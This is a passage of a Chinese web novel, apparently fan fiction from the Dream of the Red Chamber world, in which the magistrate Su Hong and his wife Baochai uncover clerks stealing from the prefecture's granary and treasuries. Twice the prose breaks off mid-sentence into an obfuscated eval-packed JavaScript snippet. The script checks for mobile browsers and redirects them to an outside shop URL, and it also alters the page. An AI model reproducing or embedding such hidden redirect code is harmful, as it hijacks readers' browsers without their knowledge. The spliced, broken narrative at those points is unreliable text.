宋云笑着立身站在苏鸿身旁，说道：“这些下官都已大致点过，想着还要先跟大人分说明白。银库中并无往年积攒下来的银钱，只有存留银两千三百两。至于粮库，因八月间接连下了几场大雨，百姓遭了灾，被前任知州取出来赈济灾民了，如今也唯有半库。” 苏鸿闻言便翻开账册细看，果然是宋云所说，账目看上去分毫不差。他微微挑眉，又从头开始翻起，见一笔笔进账、出账严丝合缝，反倒嗤笑一声，将账册合上。 宋云见他如此，不由问道：“这账册下官算过，并无出入，难不成是有人在其中中饱私囊？”说着便上手翻开账册，却也不曾看出漏洞。 苏鸿便道：“你若是拿着账目去看，便是核对数万遍也核对不出来。宋大人在地方任职已久，难道不知粮仓管理再严格，也少不了鼠蚁毁损。何况平安州县志记载，平安州夏季多雨、潮热，粮食定有损耗。” 宋云闻言一怔，没料到苏鸿竟知道这些，心中不由羞愧。他当初考举人时也可称为上知天文下知地理，只是为官多年，又不曾侍奉农事，竟将这些东西给忘了。 66.第 66 章 若说这粮库的账目，做得倒也细致，可就是太细致了，竟遗漏粮食本身会有损耗之事。衙门要求粮库中损耗不得超过一成，若仔细照料，并不至于被问罪。何况粮库使者多是虚报损耗，悄悄将粮食运作出来，从未听说过不报损耗的。 粮库中做账的人并未按实际情况报损，显然并不符合人性，只能说明里头的猫腻不小。宋云当即说道：“是下官大意了。粮库是这般情形，恐怕料库和银库也不能幸免，现在就……” 苏鸿因问：“暂且不忙，他们诚心要隐瞒，你自然无从知晓。库房大使是什么时候上任的？在任几年了？” 宋云沉默一瞬，说道：“大人，前头的大使因为虚报损耗、偷运库粮，前两个月刚被惩处。现任大使是从县里老秀才中选了一位暂且充任，才上任不到两月。” 二人面面相觑许久，苏鸿方揉了揉额头，说道：“交接不及时就容易被人钻空子，何况前头的事你也清楚，谁也不清楚库中究竟该有多少存粮。也罢，现在再查也来不及，当务之急是点清楚现存的粮库和料库。” 现在再去追溯从前已经迟了，便是明知道这账目有问题，他们也不可能再去查办前任大使。现任大使又刚接手不到两月，还是秀才功名，对粮库的管理不见得规范。 苏鸿又道：“腊月间，衙门惯例要抚恤育幼院和抚老院，正急等着拨款拨物。我想着，衙门的钱虽不多，怎么也得将这笔银子发下去。” 宋云微微一怔，有心想阻拦，却也不好多说。抚恤老人、幼童是衙门的定例，但少有足额拨款过去的，多有被挪用至其他地方的。衙门里留存银总共才两千多两就要支撑半年，知州还打算剿匪，是决计不够用的。 但他摸不准苏鸿的心思，只能猜测他是不是读圣贤书读得走火入魔，一心想着忧国忧民，忘了他们衙门穷得叮当响。 苏鸿见宋云不言语，叹道：“各处祭祀的香火钱能省出来些，但孤儿与老人本就生活艰难，衙门不帮衬一把，冬天怕是活不下去。前边那些人公然虐害百姓，百姓对官府有畏无敬，长此以往不是好事。” 商鞅变法尚要徙木立信，他虽做不成变法这样的大事，至少也要管好平安州这一亩三分地。如今官府威信荡然无存，他便是有心图强，百姓不配合也是无济于事。 宋云闻言，虽觉如此行径不敬鬼神，但见苏鸿态度坚定，便也只好应下。二人便对着三库的账册重新核对，又挑出些零零散散的毛病。待午休后，见书吏们及库房使者陆续出现，才下令巡查三库。 这通常是地方官上任后的最要紧的事，因而衙门众人也不以为怪，照例通知了库房大使。使者见他们要查库房倒也不惧，虽然趁着交接混乱时偷着运出了一些，但都栽到前任大使头上，谁也不知道他做了什么。 现在的账目都是按实数登记，知州又是京官出身，哪里会知道地方上的弯弯绕绕。便是宋州丞惯常在地方为官，但看他爽快收了旁人的好处，就知道他也是个好享乐得过且过的性子。主官们不知情，他们也乐得逍遥。 苏鸿和宋云见大使面不改色，十分殷勤，一时也弄不清他是知情还是不知情，便未曾多说。见衙役们随机取出的粮食请他验看，他便爬上梯子亲自去看，又叫苏浩给他递了铲子上来，使尽力气向下掏了两铲。 大使见他这般认真，一时有些心虚。自家人知自家事，他不过是占着有个功名的便宜，衙门又正缺人手，才让他顶上这个肥缺。他在家并不务农，又从未管理过粮仓，哪里知道该怎么管理粮仓，不过是盯着下头的力士们干活，从前怎样，现在怎样便罢了。 宋云见苏鸿亲自去查验，也不敢再待在下头不动，连忙也顺着梯子爬到其他仓位，有样学样亲自查验。他们见翻上来的都是陈米、次米，但好在并未发霉，伸手去摸，也不见腐坏、潮热，这才松了口气。 苏鸿拍拍手上的浮灰，说道：“南海战事吃紧，虽说弹丸小国不足为据，但也要防着粮价上涨。粮库关乎百姓安危，决不能出现问题。定期测温、翻粮，月底大使亲自上报情况。” 众人连忙应下，苏鸿方带人去查点银库与料库。 若是寻常时候，掌管库房的人自会十分紧张。可上任知州造成的烂摊子过于大，原先管着库房的人也一并被查办，账目又混乱不清。因而新接手的人借着交接的动荡，该搜罗的早就搜罗了一遍，全都推到旁人身上。 见苏鸿查验如此细致，银库和料库的人虽有些紧张，却也料定知州拿他们没办法，颇有老神在在之感。苏鸿心中有数，见库房虽说空得能跑马，但好在账目上该有的东西都在，暂时便不再追究。 他再次叮嘱要将库房中银钱、物料出入登记齐全，见他们都唯唯答应，才带人回去。宋云见苏鸿并未发难，笑着问道：“大人，是否贪墨，让衙役去他们家中一搜便知，为何不理会？” 苏鸿亦笑着看向宋云，却转身对苏浩说道：“虽说再三吩咐他们理清账目，但料想他们会敷衍了事。这些日子你多去查验账目，若有登记不细致的，先教他们补正。若是敢倚老卖老、不配合，你只管来回我。” 苏浩并未推脱，当即答应下来。他便是有不明白的，私下无人处再问堂兄便是，犯不着在外人面前露怯。 宋云碰了个软钉子，也知道自己问得太蠢，在一旁坐着颇觉尴尬。见苏鸿不理他，沉吟片刻又问道：“大人，已经定了明日巡城、布告，后日正式对外受理百姓诉状。眼下倒是没有积压的案子，您看……” 虽说名义上是由州丞经知州批准后主管词讼，但不少主官都会借包揽词讼牟利，往往不许州丞、典史等人插手。宋云从前坐了冷板凳，如今见苏鸿年轻、面软，便试探着想揽权。 苏鸿信不过宋云，此人看着对自己十分殷勤，时时谄媚，但关键时刻总是想引着自己贪功冒进。他不是什么无知小儿，上衙门打官司，里面可供人钻空子的地方不少，多少衙役都能借此受益。若将此权下放给宋云，还不知他能捅出什么篓子来。 他并未直言，反而笑道：“平安州上下受贪官酷吏之弊久矣，本官受皇命至此，也有心一□□气，便先由本官司掌词讼。本官初为地方官，对地方上的事都需重新了解、熟悉，本官日后再为你分派便是。” 言下之意，便是暂且不分权给宋云。至于这个日后是多久，谁也说不准。苏鸿静静审视着宋云，见他面不改色，一口答应下来，便是一笑。 待宋云借口有事暂且离开后，苏浩才问道：“大人，宋大人是什么意思？” 苏鸿起身看着宋云的背影，微微蹙眉，说道：“我也拿不准他的想法。若说他有心与我作对，但又十分殷勤。若说他有心投靠，时不时想给我设圈套。没有切实的证据就贸然搜检，衙门吏员人人自危，谁还肯在我麾下做事。” 苏浩生性宽厚，轻易不动怒，闻言却也觉气愤。他忿忿不平道：“若是查出来还稍好些。要是什么都没查出来，咱们脸上怎么过得去。依我看，定是宋州丞太想再进一步，只是不知道该向大哥你投诚，还是该向上面投诚踩下咱们。” 苏鸿说道：“这倒没什么，平安州是块儿烫手的山芋，想必知府也不愿插手。我已经派人去府衙送拜帖，预备拜见知府，届时便能知道他的态度了。你只盯紧三库的出入，别被人钻了空子。” 待晚膳后，苏鸿才回到内宅，就见宝钗正和丫头们一起将积压在库房中的箱笼物件儿收拾出来。见苏鸿回来，宝钗便上前笑道：“大忙人回来了，我们在内宅也听说你查库房很是细致，叫下头人悄悄抱怨呢。” 苏鸿笑着将外衣脱了，拥着宝钗一同坐到炕上，说道：“不严查也不行，眼下又正是用钱的时候。朝廷要求按律抚恤，开春又要组织人手剿匪，库房里的钱粮本就不足，再守不好这些，越发艰难了。” 宝钗闻言，想起自己叫苏鸿收着的银钱，正想提议自己捐一部分时，苏鸿便握住她的手。他笑道：“哪有叫你往外拿钱的道理。你虽是好心，多少不知好歹的人还要疑心你别有目的。我想着，将衙门里的蛀虫清出去，多少能挽回一些损失。” 宝钗思忖片刻，说道：“虽说是该这样，但咱们初来乍到，若操之过急反而不妙。不如冷眼选两个最为离格的，杀鸡儆猴，余者稍加安抚。人都说新官上任三把火，想来也不会引起动荡。” 苏鸿听宝钗如此说，便叹道：“我何尝不知该这样做。前一阵子平安州出事，原有的官吏大多被问罪，如今都是换上的新人。如今其他地方倒还可控，衙门先前群龙无首，他们便是上下其手也很有限。唯有库房，只怕预先就被刮过一遍，可惜也找不出证据来。” 平安州这样穷，他当然不愿眼睁睁看着衙门官库的东西被偷渡到各人的口袋里。只是他在此地尚无根基，虽有一纸委任状，但把人逼急了，可不会管他是平安州的知州。胥吏联合起来糊弄他，他又不可能事事亲力亲为，届时只会更麻烦。 宝钗听苏鸿所言，沉吟片刻后便说道：“粮食大概寻不回来，但银库和料库的东西却未必。平安州这样的小县，做生意买卖的不算多，正经有本钱的当铺就更少。他们藏了东西未必肯贱卖，不是留着传家，就是等日后卖出高价。” 既如此，东西定是还在平安州，只是不知道被藏在哪里。若想引蛇出洞，还要以利诱为上。 宝钗也未曾经历过这样的事，想了想，方有些谨慎地说道：“依我之见，不妨冷眼挑个老成可靠的提拔起来，竟不必做多余的事。旁人见他得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16529464|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了你的信重，想必心中不服。可他们才来衙门没多久，手上并无余钱，定会生出事端。” 眼看旁人巴结上了知州，未来也能大权在握，说不定也能混个芝麻官，他们岂会不心动。一动便会生出破绽。只要他们生出巴结苏鸿的想法，值钱之物就在家中藏着，不是打量着苏鸿不认得官库物品直接将东西献上，就是把东西送到当铺里。 他们只要提前布置好人手，或是有谁认出这是库房之物吵嚷出来，接来的事便顺理成章了。 苏鸿明了宝钗言下之意，一拍手笑道：“还是宝卿懂得变通，我都成了榆木脑袋了，只知道吩咐人私下里盯着。你这个法子好，神不知鬼不觉，旁人也不会疑心是我做了手脚。” 宝钗抿唇一笑，说道：“这哪里算什么法子。便是想不出法子，待过两日笼络了人手，少不了有人想在你跟前露脸，自然而然便有人藏不住了。” 说着又笑道：“我本想着买个铺子开家当铺，尽快收拢本钱。只是你既然有此想法，这当铺实在开不得，免得旁人以为你做局陷害。我看，倒是能先开一家杂料店，正巧此次过来也带了些货物。” 他们至少要在平安州待上三年，虽说带来的银子尽够花销，也不好坐吃山空。何况她对苏鸿很有信心，不说让百姓过得衣食无忧，至少让百姓不再忧惧有今日没明日。铺子的本钱早晚都能收回来，便也不必在意一时的亏损。 苏鸿见宝钗低眉浅笑的模样，心中暗想：若是换做旁人，娘家与抄家无异，又随夫赴任来此偏僻之地，定是满心怨愤。唯有宝卿，心性如此坚韧，豁达乐观，能将目光看向长远。 自己虽是男人，时常却觉不如宝卿见识心性远矣。若她是男人……不，想来不论她是何处境、是何身份，都会如此达观。 宝钗见苏鸿看着自己出神，又见莺儿等人在一旁偷笑，心里也有些羞臊，推了苏鸿一把。苏鸿方回过神，见她面颊微红，便连忙上前笑道：“我觉得很好，都依你的主意便是。” 说话间，莺儿等人便捧着大食盒过来摆饭。宝钗笑道：“他们问我膳食怎么安排，我想着只有咱们两个人吃，就叫他们简单做了几样。今儿没叫咱们家的厨子做，用的是户房安排的人。” 她示意莺儿等人自去用饭，才和苏鸿各自落座。就两个人吃饭，用不着叫她们也跟着忙碌。 “哦？”苏鸿看了眼菜色，确实是极为简单的一荤两素。只是夹菜去尝时，又觉色香味俱全，倒是又显得菜色不凡。他不由笑道：“看来这厨子也不一般，在衙门做菜倒是屈才了。” 宝钗含笑道：“在衙门做事的，谁稀罕那几个月钱。不过是说出去名头好听罢了。州丞太太给我下了拜帖，想明日来拜访。我想着也是时候认识些人，就接了帖子。” 两人一边吃饭一边闲话，待用膳后，宝钗才示意苏鸿一同到内室来。她笑着指向桌后摆着的两个大箱子，说道：“这里头是我才收拾出来的，也是贵重东西，不好在外头放着，你替我收着吧。” 宝钗自与苏鸿成亲后，自是能察觉他晚间看似熟睡，实则并未睡着的状况。原以为苏鸿是因过于勤苦攻读，才夜不能寐，还想着为他寻医问药，以免夜夜如此损伤身体。 只是苏鸿见她发现后，却推拒了为他请医问药的好意，悄悄将他身怀重宝之事告知宝钗。虽说子不语怪力乱神，但实情如此，苏鸿并不觉得需要隐瞒宝钗。 比起苏父偶有应酬，需要在外喝酒、可能不小心泄密的状况，宝钗素来小心谨慎，只会比他瞒得更好。何况夫妻间，有些事本不是能隐瞒的。若一辈子不说出口还好，若是不小心露了行迹，定会让宝钗伤心。 苏鸿与宝钗启程前来平安州之前，便提前将一些用得着、亦或比较贵重的物件儿收进须弥宝戒中。因他们行动小心，又借故将册子上的物件划去，莺儿等人也未曾起疑。 苏鸿笑着将东西收下，见一旁还有个箱笼，不由问道：“那是什么，可要我一起收起来？” 宝钗看了眼，笑道：“这是我给莺儿准备的添妆。她也是当嫁之年，我们一起作伴这么多年，自然得预备齐全。只是她家里还没为她定亲，求我帮忙寻个家境殷实、人品厚道的好后生。虽一时找不到合适的人，先把添妆备齐也好。” 想到此处，她也有些发愁。姑娘家的终身大事，不是上下嘴皮子一碰便能说成的。若薛家还是从前那个薛家，别说莺儿已经脱了奴籍，便是仍在奴籍，也有大把的人求亲。可惜家里没落，她想帮着莺儿使力也无处可使。 如今到了平安州，还不知是个什么境况。 苏鸿闻言，才想起莺儿跟宝钗年岁大不多。他想了想，说道：“知道你为她担忧，若有合适的，我注意着就是了。” 67.事发 苏鸿初至平安州，与宋云交接后便再无大动作，拜会知府后便每日按时点卯上衙。衙门众胥吏及衙役等观察许久，都不见苏鸿有立威的意思，不同以往的主官，反而不敢轻犯。 只是不下一月，苏鸿忽然将县学中一位三十上下的年轻秀才聘为师爷，带在身边理事。此事惹得众人议论纷纷，都笑话这陆秀才自甘堕落，明明年纪轻轻便有了秀才功名，再往上考未必不能得中举人、当上正经官员，却偏偏受聘成了师爷。 县学中的一干教谕、生员见陆生走了捷径在知州麾下做事，一边心中佩服，一边却也拉不下脸。虽说满大街都是书铺，做学问、写文章毫不受限，但实情究竟如何，人人都知道。 先不提一些古籍孤本，唯有多年藏书的富贵人家才有。就说想桂榜题名，一则学问不可太次，二则不能与主考官的喜好相悖。想中举，就不得不了解主考官过往的文章、处事风格、爱好等，好在写文章时有的放矢。 可他们平安州上下，多年都不曾出一位举人，更没有致仕、辞官回乡的官员。如今来了位翰林院出身的知州，稍加点拨他们就能有所建树，心中自然有想法。但他们交上去的文章却石沉大海，显然是知州看不上眼。 如今陆生自荐毛遂，到知州门下做事，难免叫他们眼红。都是读书人，哪里不清楚跟一位状元做事、请教学问的优势。只是做了师爷也有风险，日后若知州不放人，也不好绕过知州赴考。便是成功中举，也要担忧是否有人与知州有旧怨。 苏鸿也听了些风言风语，中伤陆生善于钻营、想走捷径云云。他不以为意，心说陆生此人确实善于钻营不假，但人生在世，谁敢说没有争荣夸耀、金榜题名、光宗耀祖的心思。 陆生才学一般，但心性尚可、能干达练，又是平安州本地人，正好展现他对平安州本地人才的重视。如此，也省得旁人猜忌他防范外人，不肯安心在他门下做事。 因而苏鸿并未理会，反而越发信重陆生。陆生见状，更是投桃报李，事事为苏鸿考虑。眼见陆生得了知州青眼，又不知何时便传起来陆生私下给知州送了重礼，一些有心上进的胥吏等也蠢蠢欲动。 胥吏看似并无品级，但衙门大小事均是由胥吏经办。若有知州信任，他们也可手握权柄，想做些什么自然比旁人更容易，也少不了来投奔巴结的人。 苏鸿已经抛下诱饵，虽不知那些人会不会上当，也只想着尽人事、听天命罢了。不及多想，果然先是几家乡绅轮番拜访，送上重礼。问其是否有事，却都只说是寻常孝敬。 苏鸿便可有可无收下，又命人将其登记造册，直接充入库房算是捐献。乡绅们碰了个不大不小的软钉子，一时也摸不准苏鸿是什么意思。若说不待见他们，倒也正常接见，说话也温和可亲。若说待见他们，又不肯收他们私下的孝敬。 他们心怀忐忑，暗暗观察又见苏鸿不曾额外说什么，俨然也是心领他们的好意，便也不再纠结。衙门众人见苏鸿拒绝私下孝敬，非但不觉他清正廉洁，反而猜测是因这些乡绅并非衙门中人，知州不想收他们的孝敬，更加蠢蠢欲动。 负责管理库房的几位大使及副使，亦然心思浮动。他们管着库房，虽说方便他们上下其手、损官肥己，但知州及苏浩师爷对库房盯得极紧，连针头线脑的出入都要登记造册，弄得他们苦不堪言。 在哪里做官都是为了几两碎银，这里不好发财，他们也想调到吏房、户房等与权力沾染的地方。到时候各乡各村的里正过来办事，少不了也得塞些银钱。更别提户房，经手收税时也能刮一层皮，可比偷库房容易发财。 他们听说陆生送了重礼就当上师爷，又见那些乡绅子弟在户房等地过得如鱼得水，更是羡慕。恰巧当初趁着交接的空挡从库房偷偷运出不少好东西，手里有些闲钱，更是不甘当个守库房的小吏。 他们算是有些见识，不敢直接将库房中的东西原样送到苏鸿手上，便特意在家将标记毁掉，将东西送往当铺。当铺的人早趁着先前平安州犯事的乡绅、官员逃跑时低价收了不少好东西，眼力也早就练出来了，一看便知这些文玩、玉器、金银不同寻常。 当铺的掌柜有些心眼，想到主家正为着小公子择师的事烦恼，这件事报上去定有好处。因而哄着人签字画押，又写明是何时收下，兑了银子将这几人欢欢喜喜送走。 掌柜转眼便将这几人送过来的东西一并打包好，又打听了这几人的来路。见果然是衙门的人，心中不由大喜，连忙至主家汇报此事。王乡绅见苏鸿不收贿赂，自然不好将儿子托付给苏鸿，每日在家发愁如何跟知州打好关系。 见自家手下人送来这个消息，他当即就意识到这是个绝佳的机会。见那些人来当的东西都是银库和料库的东西，马上便吩咐米铺的掌柜留意是否有人出手大批陈粮。米铺掌柜正沾沾自喜低价收了陈粮，自己也能吃些回扣，见王乡绅问起也不敢隐瞒。 眼下人证物证俱在，王乡绅喜不自禁，连忙带上账本及赃物驱车前往衙门求见。因他目下是平安州有名有姓的乡绅，又将儿子安排在户房做事，门房上的人自然不敢怠慢，收了几个钱就一溜小跑向苏鸿禀告。 苏鸿正与苏珑、陆生等谈论积案，听说王乡绅来访不由心中一动。王家在平安州，家里的房舍、田产不提，还有二十多家铺面。虽说产业凋零，如今空有铺子，挣不到大钱，但也算实力不一般了。 更重要的是，平安州如今最大的当铺便是王家的本钱。 苏鸿和苏珑对视一眼，笑道：“既然是王老爷，便请到前厅，本官这就过去。” 门房唯唯应了，苏鸿便前去会客。见到王乡绅放在手边的账册及被红布蒙住的托盘，心里便猜到几分。他笑着坐在主座，示意王乡绅坐下，方笑道：“老先生一向可好？” 王乡绅忙笑道：“不敢当，不敢当，只是小人的伙计来报，说今日收到些被刻意抹了印记的物件 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16547984|182587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿。他是个谨慎的人，想着这东西许是来路不正，便连忙报给小人。小人也有此担忧，特意带来请大人掌掌眼。” 说着便亲自上前揭开蒙着红布的托盘，里头放着两个拳头大小、被盘得极为圆润的和田玉手把件、雕着鸾凤的金钗、皆白莹润的白瓷等，一眼便知价值不菲。苏鸿有些讶然，正要上前时王乡绅便递来放大镜，请苏鸿细看角落处的刻痕。 苏鸿没想到王乡绅手中还有放大镜，先是笑道：“看来老先生家藏丰厚，连这个都有。” 这些西洋传来的玩意儿，一个便要五十两，寻常富户谁会买这个来玩。 王乡绅笑道：“大人说笑了，不过是开着当铺，需要细看罢了。大人请看这里，刻痕似是被磨掉一部分，隐约能看出是‘平安州库藏’四字。小人不知是否有人作怪，也不敢大意。这些来当物件儿的人签字画押，俱是属实。” 一边引客的门子和站班的衙役见了这些东西，又听王乡绅所说的那些话，当即便明白这哪里是不认得，分明是认出来了到知州跟前卖好。他们见苏鸿蹙眉去看，又翻看账册，心里直突突。 苏鸿没想到世上竟真有这样巧合的事，心中大喜，却一拍桌子道：“既然敢这样大胆，偷盗官库损公肥私，真是岂有此理。去把周典史给我喊来，把这几人给本官压入牢房听审。风信，你去请州丞和主簿来。” 众衙役心中一凛，不敢轻忽。也不劳动风信，连忙按着苏鸿的指使将州丞、主簿和典史寻来。周阳正训练衙役，听苏鸿召见不敢轻忽，连衣裳也没敢换便直接过去。 宋云与主簿路兼微一并过来，就见苏鸿正指挥着周阳将管库房的几个小吏都押下。二人对视一眼，连忙上前询问。苏鸿面带怒色，指着王乡绅送来的物件儿道：“管库房的这几人监守自盗，不知何时盗出来的。” 宋云打眼一看，便猜到是从前在官库中、前知州下台后便报了损坏的东西。此事与他无关，管库房的小吏也不曾给他使银子，见苏鸿一脸怒色要抓人便未曾言语。路兼微则不然，这几人是他来平安州后提拔着守库房的人，就是看重他们肯孝敬。 如今他们这几人被抓事小，再将自己抖出来事情便大了。 因而他连忙上前，拱手道：“大人何必如此生气，这些东西本不在册上，抹去的印记不见得便是官库的印记。现在就闹得满城风雨，若是冤枉了他们，岂不令人寒心。依下官看，倒是暗暗查访更好。” 苏鸿尚未出言，宋云忙道：“路主簿此话怎讲。他们的家世出身吏房都有记载，并不像拥有这样贵重物品的人家。这些东西上头的印记，我看也像官库印记。不如寻来先前的账目，究竟是不是被偷运出官库的，一看便知。” 说着便看向苏鸿，说道：“下官以为，他们若是偷盗官库，定然仍有赃物在家留存。不如下官和路主簿一同查账，叫周典史带人将他们几家围起来。若果真是盗取官库宝物，再下令搜检查抄。” 68.隐瞒 路兼微未料到宋云会忽然向着苏鸿说话，一时面容扭曲。他额上渗出些许冷汗，脑海中不断思考事发后该怎么把自己摘出来——他们先前孝敬自己的三百两纹银，可还明晃晃刻着官库印记。 他在官府打转多年，最清楚官府的手段。只要此事属实，就没有衙役们撬不开的嘴。便是借口自己不知这些东西出自官库，也无人会信。唯一能保住自己的，也就是仗着他是平安州本籍，赌一把苏鸿这个外官不敢直接告状。 苏鸿瞥了眼路兼微，示意周阳按着宋云所说去做。见他要点人离开，他忽然叫住周阳，说道：“周典史，仔细查抄，一件都不许漏下。” 周阳闻言毫不犹豫，马上应下，回了班房点上几队人。对着手下人，他便直言是有人偷盗官库，知州已有了明细，正要去追缴。众衙役闻言，虽有些小心思，却也不敢再犯。 不多时，苏浩便带着几人抱着三库的账册过来，将前厅挤得满满当当。苏鸿见状，对王乡绅道：“若果真查实，本官便做主奖你一块儿牌匾。眼下衙门忙乱，你便先回吧。” 王乡绅听到苏鸿的准话，方才面带微笑，连忙道：“生在平安州，又盼来大人这样的父母官，我们哪敢轻忽怠慢。有如此蛀虫，若放任不敢，也是贻害百姓，都是小人应做的。”说着便唯唯退下。 苏浩便上前道：“大人，三库近三年的账目都在此处，请众大人过目。” 他奉命监督官库运行，自然不是白干的，早就将三库的账目、现存、人员摸得一清二楚。库房的大使、副使等见他并未挑事，人也平和，便都误以为他性子软弱，早就放松警惕。 如今打他们一个出其不意，自是各个慌张。 苏鸿面上不辨喜怒，示意宋云和路兼微查账，又吩咐苏浩亲自去牢房里看管那几人，不许衙役刑讯逼供。他端坐在上首，冷眼看着下头一片忙乱，视线在路兼微身上定了两秒方挪开。 主簿是有品级的，其任免均需吏部下公文，他无权当即处置。 律法有定例，常人盗窃八十两处绞刑。至于监守自盗，处罚更为严格。此事如今被翻出来，监守自盗的银库和料库的大使和副使想必是活不成了。这些追回的银两和物件价值不菲，换成银两后，连打击强盗的费用都有了。 只是说到底，他们几人也只是盗窃便丢了命，固然有律法在先，苏鸿也觉太过严苛。但不严惩又不足以立威，不能放任盗取官库的盗贼继续监守自盗，让苏鸿也觉为难。 因着他们上任的时间明确，宋云和路兼微便对比他们接手前后的账目，着重去看料库中报损与失踪的物件。不过一个时辰，便找了近百件可疑的报损物件，一一抄写下来。 至于银库的账目，宋云和路兼微颇有默契地没有去看。 目下，朝廷要收走大部分税银，只给他们当地留下数千两的留存银。这些银子自然不够他们的开销，又不能指望官老爷自掏腰包，因而收税时往往会多收一部分。虽说苦了百姓，也好过苦了自己。 因而绝大多数衙门的银库账目，除了涉及留存银的账目是真的，其他的全是假的。而上任知州被查办后，因知府特意派人监督税收，平安州又没有主官做主，衙门才没有额外的收入，并未再做内账。 那些被盗取的官银，根本无账可查，得不出具体的数目，看了也是白看。若想追究库银被盗，也唯有拷问银库大使等人，让他们吐口承认，再寻一笔外账记载的亏空对应。 苏鸿见他们都不去看银库账目，也知晓原因，并未去问。待他们二人将明细写下后，苏鸿对着王乡绅送来的东西一一勾划，果然有一部分能对上。至于剩下的，则要等周阳带着人抄检后才知道。 苏鸿见证据确凿，当即命人传话给周阳展开搜检，务必寻回遗失的官库物品。周阳亲自带人一家家搜过去，直接搜出一整箱的赃物，上头仍带着官库的印记，千真万确不得抵赖。 众百姓也都围在一旁看热闹，见状不由大骂贪官。当即便有人调侃道：“别骂来骂去，再把太爷得罪了。这么激动，就是查到了贪官，这银子也到不了咱们的口袋。” 这位苏太爷虽说人年轻，但能舍得银子抚恤孤老。就任这么长时间，也没对着老百姓摆威风，一切照旧，似乎还是个不错的官老爷。只是再好也有限，天下乌鸦一般黑，也好不到哪里去。 反正这么多年都过来了，到哪里都是这样。 苏鸿不知民间议论，等周阳带人将搜到的东西带回时，便让苏浩拿着单子核对。整个前厅鸦雀无声，只有苏浩的笔尖勾划的沙沙声。众衙役见此场面，也不由暗自庆幸起没有贸然藏匿，不然定会惹祸上身。 苏鸿静静看着，待苏浩将单子拿给自己看后，见里面还缺了几样。他看向宋云和路兼微，说道：“人证物证俱在，这料库与银库大使、副使无从抵赖。至于粮库……”说着便看向周阳。 “大人，粮库大使的左邻右舍均提至公堂，言说两月前曾在夜里听到车轮碾压的声音。这时间正与他初上任的时间相符。这些陈米都藏在地窖最里头，反而是新米放在外头。” 苏鸿便冷笑道：“官仓是朝廷下令藏粮，为得是灾年平抑粮价，关乎百姓性命。秀才出身，领着衙门发的银米、无需交税徭役，竟不思报效朝廷，反而监守自盗起来。如此不忠不孝无才无德之人，死不足惜。” 他面带怒色，众人也是第一次见他发怒，丝毫不敢言语。一片寂静中，苏鸿命周阳带人预审一干犯人，务必问出实数及是否有送出、遗落的。从早到晚，衙门灯火通明，直至月上中天才熄了烛火。 苏鸿回房后，宝钗已经歇下，只留了一盏蜡烛照明。宝钗被他洗漱的动静吵醒，披衣起身道：“今天前头的事太多，忙忙乱乱的。我叫人温着粥，多少垫一垫吧。” 苏鸿自认声音已经极小，没想到还是吵醒宝钗。他连忙道：“不急，刚在前厅用了 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虽说盗取官库罪不容诛，然而苏鸿知道，他们盗取后定不是全然拿到自己手里，还不知给了别人多少孝敬。官场事态如此，都成了风气、惯例，不是他严惩几个人便能改变的。 盗取官库板上钉钉，然而吏房、户房、衙役等吃拿卡要、嚣张跋扈的作风更严重。为了稳定，他不打算将衙门的书吏等人全部换掉。没道理他准备给衙役和书吏等改正的机会，却一定要置盗取官库的几人于死地。 宝钗知道苏鸿心软了——亦或是明知官场上有许多不得不为的事，他们也不过是被裹挟着向前。她想了想，说道：“我想着，有功名的革去功名，叫他们补齐亏空，不许在衙门任职便是。非要将事情报到知府案前，对你也有不便。” 前朝也不是没有人偷盗库银，甚至偷的还是国库的银子。最终涉案的小吏都被处以极刑，官员则被革职查办，从上到下都要补齐欠银。宝钗心道，得饶人处且饶人，东西回来了，立威的目的也达到了。留他一命，日后征个人头税也比杀了强。 虽说此事众人皆知，但知州不上报，没人会傻到跑去知府跟前自爆。到时候拔出萝卜带出泥，谁也跑不了。便是知府听闻此事，想到平安州前阵子的混乱，定不想再生风波。 苏鸿也觉宝钗此言有理，不由笑嘻嘻凑到她耳边感谢。又想起什么，方问道：“不是说州丞的太太来拜访你，怎么样？” 宝钗说道：“是位知书达理的太太，性子温和。她听说我有心开杂料铺子，还叮嘱我做货架时要离地高高的木架。说是平安州多有水患，不这样做货物容易泡水。” 苏鸿闻言有些睡不着，披衣坐起身，蹙眉道：“我也想着此事，眼下正是修河道的好时候。只是修河道就免不了征用民夫，耗费民力。我让阴阳生测算雨水，又翻了县志，应到八月份才会涨水。我想着有了银子，先想办法把强盗处理了，再图其他。” 69.惩罚 宝钗听苏鸿所言，便道：“平安州百姓受暴虐无能官吏所苦，已达数十年之久，再征派徭役于心何忍。今日谈起水患，州丞太太说约么三年一小洪，五年一大涨。不如再寻平安州年高有德之人，勘测涨水趋势，缓缓图之。” 苏鸿一笑，说道：“确实如此，事有轻重缓急。强盗谋财害命，盘踞平安州大道旁，百姓及商队往来极为不便，先将他们摆布了再说。我想着，若时间来得及，说不得赶在八月前便能完成。” 他心中隐忧，若是强盗趁着水患时来袭，更是雪上加霜。天灾人祸比起来，还是人祸更好处置些。思忖许久，他才想起明早还要早早上衙。正要睡下时，风信忽然敲门，说道：“老爷，主簿路大人来访。” 第二日一早，苏鸿刚上衙，宋云和路兼微便前来求见。苏鸿微微挑眉，朝着苏珑笑道：“二叔，看我昨晚说得如何，只隔一日便不一样了。” 